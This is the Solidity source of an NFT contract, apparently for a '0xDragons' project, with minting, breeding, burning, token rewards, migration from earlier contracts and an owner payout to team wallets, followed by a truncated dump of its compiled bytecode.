Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, Ownable, IERC721Enumerable { using Address for address; using Strings for uint256; using Counters for Counters.Counter; // Token name string private _name; // Token symbol string private _symbol; // uint public totalSupply; Counters.Counter private _tokenIds; string public baseURI_ = "ipfs://QmZkN9YuR1rrK1YXh1qxJxEotzrZbAfEYwzCHYz2Ln5Ear/"; string public baseExtension = ".json"; uint256 public cost = 0.03 ether; uint256 public maxSupply = 3333; uint256 public maxMintAmount = 20; bool public paused = false; bool public _paused ; // wallet addresses for claims address private constant Jazzasaurus = 0xd848353706E5a26BAa6DD20265EDDe1e7047d9ba; address private constant munheezy = 0xB6D2ac64BDc24f76417b95b410ACf47cE31AdD07; address private constant _community = 0xe44CB360e48dA69fe75a78fD1649ccbd3CCf7AD1; address private constant _Dragoneer = 0x9817C311F6897D30e372C119a888028baC879d1c; mapping(uint => mapping(address => uint)) private idtostartingtimet; mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; mapping(address => mapping(uint256 => bool)) private _breeded; ERC20 _ERC20; ancientnft _ancientnft; babynft _babynft; IERC20_ iERC20_; _IERC721 mainERC721; _IERC721 ancientERC721; _IERC721 babyERC721; bool hassetcurrent; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_,string memory ERC20name_, string memory ERC20symbol_ ,uint ERC20amount,address ERC20owneraddress,string memory ancientnftname_, string memory ancientnftsymbol_,string memory babynftname_, string memory babynftsymbol_) { _name = name_; _symbol = symbol_; uint8[12] memory Ntokenid= [11, 13, 16, 17, 24, 29, 35, 42, 43, 63, 64, 65]; _ERC20= new ERC20(ERC20name_,ERC20symbol_,ERC20amount,ERC20owneraddress) ; _ancientnft = new ancientnft(ancientnftname_,ancientnftsymbol_); _ancientnft.setapprovedcontractaddress(address(this)); _ancientnft.seterc20address(address(_ERC20)); _babynft= new babynft(babynftname_,babynftsymbol_); _babynft.setapprovedcontractaddress(address(this)); _babynft.seterc20address(address(_ERC20)); _ERC20.setapprovedcontractaddress(address(this),address(_ancientnft),address(_babynft)); _mint(msg.sender,1); for (uint i ;i< Ntokenid.length;i++){ _ancientnft.mint(msg.sender,Ntokenid[i]); } } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function pause() public onlyOwner { paused = !paused; } function pausebreedandburn() public onlyOwner { _paused = !_paused; } function checkPause() public view onlyOwner returns(bool) { return paused; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return baseURI_; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); require(paused == false); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; // totalSupply+=1; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; // totalSupply-=1; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } function mint( address _to, uint256 _mintAmount ) public payable { // get total NFT token supply require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require( totalSupply() + _mintAmount <= maxSupply); require(paused == false); require (hassetcurrent==true,"please set setcurrentmintedamount "); require(msg.value >= cost * _mintAmount); // execute mint if (_tokenIds.current()==0){ _tokenIds.increment(); } for (uint256 i = 1; i <= _mintAmount; i++) { uint256 newTokenID = _tokenIds.current(); _safeMint(_to, newTokenID); _tokenIds.increment(); } } function setcurrentmintedamount(uint totalmintedamount )public onlyOwner{ hassetcurrent=true; if (_tokenIds.current()==0){ _tokenIds.increment(); } for (uint256 i = 1; i <=totalmintedamount; i++) { _tokenIds.increment(); } } function checkdragonnotbreeded(address add)public view returns(uint[] memory){ uint256 ownerTokenCount = balanceOf(add); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(add); uint count; for (uint i ;i<ownerTokenCount; i++){ if (_breeded[address(this)][tokenIds[i]]==false){ count++; } } uint256[] memory notbreededbrtokenIds = new uint256[](count); uint _count; for (uint i ;i<ownerTokenCount; i++){ if (_breeded[address(this)][tokenIds[i]]==false){ notbreededbrtokenIds[_count]=tokenIds[i]; _count++; } } return notbreededbrtokenIds; } function breed(uint id1,uint id2) public { uint amount=1800*10**18; require(balanceOf(msg.sender)>=2, "Must Own 2 0xDragons"); require (_ERC20.balanceOf(msg.sender) >= amount,"You Dont Have The $SCALE For That!"); require (ownerOf(id1)==msg.sender,"NOT YOUR DRAGON"); require (ownerOf(id2)==msg.sender,"NOT YOUR DRAGON"); require( _paused == false); _ERC20.burn(msg.sender, amount); _breeded[address(this)][id1]=true; _breeded[address(this)][id2]=true; _babynft.mint(msg.sender); } function burn(uint id1, uint id2, uint id3 ) public { uint amount=1500*10**18; require(balanceOf(msg.sender)>=3, "Must Have 3 UNBRED Dragons"); require (_ERC20.balanceOf(msg.sender) >= amount,"You Dont Have The $SCALE For That!"); require (ownerOf(id1)==msg.sender,"NOT YOUR DRAGON"); require (ownerOf(id2)==msg.sender,"NOT YOUR DRAGON"); require (ownerOf(id3)==msg.sender,"NOT YOUR DRAGON"); require( _breeded[address(this)][id1]==false ,"Bred Dragons CAN'T Be Sacrificed"); require( _breeded[address(this)][id2]==false ,"Bred Dragons CAN'T Be Sacrificed"); require( _breeded[address(this)][id3]==false ,"Bred Dragons CAN'T Be Sacrificed"); require( _paused == false); _ERC20.burn(msg.sender, amount); _transfer( msg.sender, 0x000000000000000000000000000000000000dEaD, id1 ); _transfer( msg.sender, 0x000000000000000000000000000000000000dEaD, id2 ); _transfer( msg.sender, 0x000000000000000000000000000000000000dEaD, id3 ); _ancientnft.mint(msg.sender); } function setpreviouscontaddress(address erc20add,address mainnftadd ,address ancientadd, address babyadd )public onlyOwner{ iERC20_=IERC20_(erc20add) ; mainERC721 = _IERC721(mainnftadd); ancientERC721= _IERC721(ancientadd); babyERC721=_IERC721(babyadd); } function setmaxsupplyforbabynft(uint amount)public onlyOwner{ _babynft.setmaxsupply(amount); } function setbaseuriforbabynft(string memory _newBaseURI) public onlyOwner{ _babynft.setBaseURI(_newBaseURI); } function setcurrentmintnumberforbabynft(uint amount) public onlyOwner{ _babynft.setcurrentmintedamount(amount ); } function setbaseuriforancientnft(string memory _newBaseURI) public onlyOwner{ _ancientnft.setBaseURI(_newBaseURI); } function setcurrentmintnumberforancient(uint amount) public onlyOwner{ _ancientnft.setcurrentmintedamount(amount ); } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } // set or update max number of mint per mint call function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI_ = _newBaseURI; } // set metadata base extention function setBaseExtension(string memory _newBaseExtension)public onlyOwner { baseExtension = _newBaseExtension; } function claim() public onlyOwner { // get contract total balance uint256 balance = address(this).balance; // begin withdraw based on address percentage payable(Jazzasaurus).transfer((balance / 100) * 45); payable(munheezy).transfer((balance / 100) * 31); payable(_community).transfer((balance / 100) * 20); payable(_Dragoneer).transfer((balance / 100) * 4); } function walletofNFT(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function checkrewardbal()public view returns(uint){ uint256 ownerTokenCount = balanceOf(msg.sender); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(msg.sender); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][msg.sender]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][msg.sender]; reward = ((10*10**18)*current)/86400; rewardbal+=reward; } } return rewardbal; } function checkrewardforancientbal()public view returns(uint){ return _ancientnft.checkrewardbal(msg.sender); } function checkrewardforbabybal()public view returns(uint){ return _babynft.checkrewardbal(msg.sender); } function claimreward() public { require(balanceOf(msg.sender)>0, "Not Qualified For Reward"); uint256 ownerTokenCount = balanceOf(msg.sender); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(msg.sender); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][msg.sender]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][msg.sender]; reward = ((10*10**18)*current)/86400; rewardbal+=reward; idtostartingtimet[tokenIds[i]][msg.sender]=block.timestamp; } } _ERC20.mint(msg.sender,rewardbal); if (_ancientnft.balanceOf(msg.sender)>0){ _ancientnft.claimreward(msg.sender); } if (_babynft.balanceOf(msg.sender)>0){ _babynft.claimreward(msg.sender); } } function migrate()public { uint[] memory _tokenId= mainERC721.walletofNFT(msg.sender); for (uint i ;i< _tokenId.length;i++){ require(msg.sender==mainERC721.ownerOf(_tokenId[i])); mainERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId[i]); _mint(msg.sender,_tokenId[i] ); } uint[] memory _tokenId1= ancientERC721.walletofNFT(msg.sender); for (uint i ;i< _tokenId1.length;i++){ require(msg.sender== ancientERC721.ownerOf(_tokenId1[i])); ancientERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId1[i]); _ancientnft.mint(msg.sender,_tokenId1[i] ); } uint[] memory _tokenId2= babyERC721.walletofNFT(msg.sender); for (uint i ;i< _tokenId2.length;i++){ require(msg.sender==babyERC721.ownerOf(_tokenId2[i])); babyERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId2[i]); _babynft.mint(msg.sender,_tokenId2[i] ); } uint amount= iERC20_.balanceOf(msg.sender); uint mainnftamount= mainERC721.checkrewardbal(); uint ancientnftamount= ancientERC721.checkrewardbal(msg.sender); uint babynftamount= babyERC721.checkrewardbal(msg.sender); uint totalamount=amount+ mainnftamount + ancientnftamount + babynftamount; iERC20_.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD, amount); _ERC20.mint(msg.sender,totalamount); } function migrate2(uint[] memory main,uint[] memory ancient,uint[] memory baby)public { uint[] memory _tokenId= main; for (uint i ;i< _tokenId.length;i++){ require(msg.sender==mainERC721.ownerOf(_tokenId[i])); mainERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId[i]); _mint(msg.sender,_tokenId[i] ); } uint[] memory _tokenId1= ancient; for (uint i ;i< _tokenId1.length;i++){ require(msg.sender== ancientERC721.ownerOf(_tokenId1[i])); ancientERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId1[i]); _ancientnft.mint(msg.sender,_tokenId1[i] ); } uint[] memory _tokenId2= baby; for (uint i ;i< _tokenId2.length;i++){ require(msg.sender==babyERC721.ownerOf(_tokenId2[i])); babyERC721.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD,_tokenId2[i]); _babynft.mint(msg.sender,_tokenId2[i] ); } uint amount= iERC20_.balanceOf(msg.sender); // uint mainnftamount= mainERC721.checkrewardbal(); uint ancientnftamount= ancientERC721.checkrewardbal(msg.sender); uint babynftamount= babyERC721.checkrewardbal(msg.sender); uint totalamount=amount + ancientnftamount + babynftamount; iERC20_.transferFrom(msg.sender,0x000000000000000000000000000000000000dEaD, amount); _ERC20.mint(msg.sender,totalamount); } function checkerc20address()public view returns(address) { return (address(_ERC20)); // this is the deployed address of erc20token } function checkancientnftaddress()public view returns(address) { return (address(_ancientnft)); // this is the deployed address of ancienttoken } function checkbabynftaddress()public view returns(address) { return (address(_babynft)); // this is the deployed address of babytoken } function itemOne(uint256 _passedPrice) public { uint amount=_passedPrice*10**18; require (_ERC20.balanceOf(msg.sender) >= amount,"You Dont Have The $SCALE For That!"); _ERC20.burn(msg.sender, amount); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; idtostartingtimet[tokenId][from]=0; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function ownerMint(address _to, uint256 _mintAmount) public onlyOwner { // get total NFT token supply require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require( totalSupply() + _mintAmount <= maxSupply); // execute mint if (_tokenIds.current()==0){ _tokenIds.increment(); } for (uint256 i = 1; i <= _mintAmount; i++) { uint256 newTokenID = _tokenIds.current(); _safeMint(_to, newTokenID); _tokenIds.increment(); } } function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
0x6080604052600436106103765760003560e01c806370a08231116101d1578063bb6bf51d11610102578063d9ecad7b116100a0578063ea7eeb061161006f578063ea7eeb06146109c7578063f259a29e146109e7578063f2fde38b146109fc578063f6368b8314610a1c57600080fd5b8063d9ecad7b14610920578063da3ef23f14610940578063e2d358ac14610960578063e985e9c51461097e57600080fd5b8063c87b56dd116100dc578063c87b56dd146108b5578063c8eade71146108d5578063cf7f9e95146108ea578063d5abeb011461090a57600080fd5b8063bb6bf51d1461086d578063be597c3e14610882578063c6682862146108a057600080fd5b80638da5cb5b1161016f578063a0b9f0e111610149578063a0b9f0e1146107f8578063a22cb4651461080d578063b34c0cea1461082d578063b88d4fde1461084d57600080fd5b80638da5cb5b146107b05780638fd3ab80146107ce57806395d89b41146107e357600080fd5b806377754a06116101ab57806377754a06146107465780637f00c7a6146107665780638456cb59146107865780638894038d1461079b57600080fd5b806370a08231146106fc578063715018a61461071c57806373508aec1461073157600080fd5b8063374fdb87116102ab5780634e71d92d116102495780635843029b116102235780635843029b146106825780635c975abb146106a2578063626b7a1e146106bc5780636352211e146106dc57600080fd5b80634e71d92d1461062d5780634f6ccce71461064257806355f804b31461066257600080fd5b806342842e0e1161028557806342842e0e146105b857806344a0d68a146105d8578063484b973c146105f85780634e1575691461061857600080fd5b8063374fdb87146105675780633dd407e11461058557806340c10f19146105a557600080fd5b8063155ad04a11610318578063239c70ae116102f2578063239c70ae146104e457806323b872dd146104fa5780632d38f11e1461051a5780632f745c591461054757600080fd5b8063155ad04a1461049057806316c61ccc146104b057806318160ddd146104cf57600080fd5b806306fdde031161035457806306fdde03146103f2578063081812fc14610414578063095ea7b31461044c57806313faede61461046c57600080fd5b806301ffc9a71461037b578063056e5a7f146103b057806305a10028146103d2575b600080fd5b34801561038757600080fd5b5061039b610396366004614a44565b610a3c565b60405190151581526020015b60405180910390f35b3480156103bc57600080fd5b506103d06103cb366004614a7e565b610a8e565b005b3480156103de57600080fd5b506103d06103ed366004614b1a565b610b26565b3480156103fe57600080fd5b50610407610e66565b6040516103a79190614c53565b34801561042057600080fd5b5061043461042f366004614ac6565b610ef8565b6040516001600160a01b0390911681526020016103a7565b34801561045857600080fd5b506103d06104673660046148dd565b610f8d565b34801561047857600080fd5b5061048260065481565b6040519081526020016103a7565b34801561049c57600080fd5b506103d06104ab366004614ac6565b6110a3565b3480156104bc57600080fd5b5060095461039b90610100900460ff1681565b3480156104db57600080fd5b50600d54610482565b3480156104f057600080fd5b5061048260085481565b34801561050657600080fd5b506103d06105153660046147ef565b6111bd565b34801561052657600080fd5b5061053a610535366004614720565b6111fe565b6040516103a79190614c1b565b34801561055357600080fd5b506104826105623660046148dd565b61129f565b34801561057357600080fd5b506012546001600160a01b0316610434565b34801561059157600080fd5b506103d06105a0366004614793565b611335565b6103d06105b33660046148dd565b6113af565b3480156105c457600080fd5b506103d06105d33660046147ef565b6114d7565b3480156105e457600080fd5b506103d06105f3366004614ac6565b6114f2565b34801561060457600080fd5b506103d06106133660046148dd565b611521565b34801561062457600080fd5b506104826115e0565b34801561063957600080fd5b506103d061174e565b34801561064e57600080fd5b5061048261065d366004614ac6565b6118d8565b34801561066e57600080fd5b506103d061067d366004614a7e565b61196b565b34801561068e57600080fd5b506103d061069d366004614a7e565b6119a8565b3480156106ae57600080fd5b5060095461039b9060ff1681565b3480156106c857600080fd5b506103d06106d7366004614ac6565b611a02565b3480156106e857600080fd5b506104346106f7366004614ac6565b611a84565b34801561070857600080fd5b50610482610717366004614720565b611afb565b34801561072857600080fd5b506103d0611b82565b34801561073d57600080fd5b50610482611bb8565b34801561075257600080fd5b506103d0610761366004614ac6565b611c3a565b34801561077257600080fd5b506103d0610781366004614ac6565b611c95565b34801561079257600080fd5b506103d0611cc4565b3480156107a757600080fd5b50610482611d02565b3480156107bc57600080fd5b506000546001600160a01b0316610434565b3480156107da57600080fd5b506103d0611d33565b3480156107ef57600080fd5b5061040761272c565b34801561080457600080fd5b5061039b61273b565b34801561081957600080fd5b506103d06108283660046148af565b612770565b34801561083957600080fd5b506103d0610848366004614ac6565b61277b565b34801561085957600080fd5b506103d0610868366004614830565b6127d6565b34801561087957600080fd5b506103d061280e565b34801561088e57600080fd5b506010546001600160a01b0316610434565b3480156108ac57600080fd5b50610407612c35565b3480156108c157600080fd5b506104076108d0366004614ac6565b612cc3565b3480156108e157600080fd5b506103d0612d9e565b3480156108f657600080fd5b506103d0610905366004614ac6565b612de5565b34801561091657600080fd5b5061048260075481565b34801561092c57600080fd5b506103d061093b366004614af8565b612e40565b34801561094c57600080fd5b506103d061095b366004614a7e565b6130a7565b34801561096c57600080fd5b506011546001600160a01b0316610434565b34801561098a57600080fd5b5061039b61099936600461475a565b6001600160a01b039182166000908152601a6020908152604080832093909416825291909152205460ff1690565b3480156109d357600080fd5b506103d06109e23660046149a0565b6130e4565b3480156109f357600080fd5b506104076138ba565b348015610a0857600080fd5b506103d0610a17366004614720565b6138c7565b348015610a2857600080fd5b5061053a610a37366004614720565b613962565b60006001600160e01b031982166380ac58cd60e01b1480610a6d57506001600160e01b03198216635b5e139f60e01b145b80610a8857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6000546001600160a01b03163314610ac15760405162461bcd60e51b8152600401610ab890614ced565b60405180910390fd5b6012546040516355f804b360e01b81526001600160a01b03909116906355f804b390610af1908490600401614c53565b600060405180830381600087803b158015610b0b57600080fd5b505af1158015610b1f573d6000803e3d6000fd5b5050505050565b685150ae84a8cdf000006003610b3b33611afb565b1015610b895760405162461bcd60e51b815260206004820152601a60248201527f4d7573742048617665203320554e4252454420447261676f6e730000000000006044820152606401610ab8565b6010546040516370a0823160e01b815233600482015282916001600160a01b0316906370a082319060240160206040518083038186803b158015610bcc57600080fd5b505afa158015610be0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c049190614adf565b1015610c225760405162461bcd60e51b8152600401610ab890614d73565b33610c2c85611a84565b6001600160a01b031614610c525760405162461bcd60e51b8152600401610ab890614db5565b33610c5c84611a84565b6001600160a01b031614610c825760405162461bcd60e51b8152600401610ab890614db5565b33610c8c83611a84565b6001600160a01b031614610cb25760405162461bcd60e51b8152600401610ab890614db5565b306000908152600f6020908152604080832087845290915290205460ff1615610ced5760405162461bcd60e51b8152600401610ab890614cb8565b306000908152600f6020908152604080832086845290915290205460ff1615610d285760405162461bcd60e51b8152600401610ab890614cb8565b306000908152600f6020908152604080832085845290915290205460ff1615610d635760405162461bcd60e51b8152600401610ab890614cb8565b600954610100900460ff1615610d7857600080fd5b601054604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90610daa9033908590600401614c02565b600060405180830381600087803b158015610dc457600080fd5b505af1158015610dd8573d6000803e3d6000fd5b50505050610de93361dead86613b34565b610df63361dead85613b34565b610e033361dead84613b34565b6011546040516335313c2160e11b81523360048201526001600160a01b0390911690636a62784290602401600060405180830381600087803b158015610e4857600080fd5b505af1158015610e5c573d6000803e3d6000fd5b5050505050505050565b606060018054610e7590614ebf565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea190614ebf565b8015610eee5780601f10610ec357610100808354040283529160200191610eee565b820191906000526020600020905b815481529060010190602001808311610ed157829003601f168201915b5050505050905090565b6000818152601760205260408120546001600160a01b0316610f715760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610ab8565b506000908152601960205260409020546001600160a01b031690565b6000610f9882611a84565b9050806001600160a01b0316836001600160a01b031614156110065760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610ab8565b336001600160a01b038216148061102257506110228133610999565b6110945760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610ab8565b61109e8383613cf7565b505050565b60006110b782670de0b6b3a7640000614e5d565b6010546040516370a0823160e01b815233600482015291925082916001600160a01b03909116906370a082319060240160206040518083038186803b1580156110ff57600080fd5b505afa158015611113573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111379190614adf565b10156111555760405162461bcd60e51b8152600401610ab890614d73565b601054604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac906111879033908590600401614c02565b600060405180830381600087803b1580156111a157600080fd5b505af11580156111b5573d6000803e3d6000fd5b505050505050565b6111c73382613d65565b6111e35760405162461bcd60e51b8152600401610ab890614d22565b60095460ff16156111f357600080fd5b61109e838383613b34565b6060600061120b83611afb565b90506000816001600160401b0381111561122757611227614f81565b604051908082528060200260200182016040528015611250578160200160208202803683370190505b50905060005b8281101561129757611268858261129f565b82828151811061127a5761127a614f6b565b60209081029190910101528061128f81614efa565b915050611256565b509392505050565b60006112aa83611afb565b821061130c5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610ab8565b506001600160a01b03919091166000908152600b60209081526040808320938352929052205490565b6000546001600160a01b0316331461135f5760405162461bcd60e51b8152600401610ab890614ced565b601380546001600160a01b039586166001600160a01b0319918216179091556014805494861694821694909417909355601580549285169284169290921790915560168054919093169116179055565b600081116113bc57600080fd5b6008548111156113cb57600080fd5b600754816113d8600d5490565b6113e29190614e31565b11156113ed57600080fd5b60095460ff16156113fd57600080fd5b601654600160a01b900460ff1615156001146114665760405162461bcd60e51b815260206004820152602260248201527f706c65617365207365742073657463757272656e746d696e746564616d6f756e60448201526103a160f51b6064820152608401610ab8565b806006546114749190614e5d565b34101561148057600080fd5b60035461149557611495600380546001019055565b60015b81811161109e5760006114aa60035490565b90506114b68482613e5c565b6114c4600380546001019055565b50806114cf81614efa565b915050611498565b61109e838383604051806020016040528060008152506127d6565b6000546001600160a01b0316331461151c5760405162461bcd60e51b8152600401610ab890614ced565b600655565b6000546001600160a01b0316331461154b5760405162461bcd60e51b8152600401610ab890614ced565b6000811161155857600080fd5b60085481111561156757600080fd5b60075481611574600d5490565b61157e9190614e31565b111561158957600080fd5b60035461159e5761